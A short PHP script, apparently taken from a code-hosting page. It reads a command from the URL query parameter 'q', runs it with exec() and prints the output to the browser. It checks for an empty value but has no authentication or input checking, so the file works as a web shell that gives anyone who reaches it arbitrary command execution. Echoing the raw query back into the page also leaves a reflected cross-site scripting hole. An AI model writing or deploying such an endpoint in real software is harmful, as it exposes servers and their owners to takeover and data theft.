24 lines
652 B
PHP
24 lines
652 B
PHP
<?php
|
|
// make sure script is called through a web server, not the command line
|
|
if (PHP_SAPI === 'cli') {
|
|
echo "nope\n";
|
|
die(1);
|
|
}
|
|
// retrieve query value for key "q"
|
|
$command = $_GET['q'];
|
|
echo "Command is <code>", $command, "</code><br>";//DEBUG
|
|
// make sure command exists and is not empty
|
|
if ($command === "" || empty($command)) {
|
|
echo "empty query";
|
|
die(2);
|
|
}
|
|
// execute shell command
|
|
exec($command, $output, $exitcode);
|
|
echo "Output is <pre>", join("<br>", $output), "</pre><br>";//DEBUG
|
|
if ( $exitcode == "0" ) {
|
|
echo "Success";
|
|
} else {
|
|
echo "Command failed with exit code", $exitcode;
|
|
}
|
|
?>
|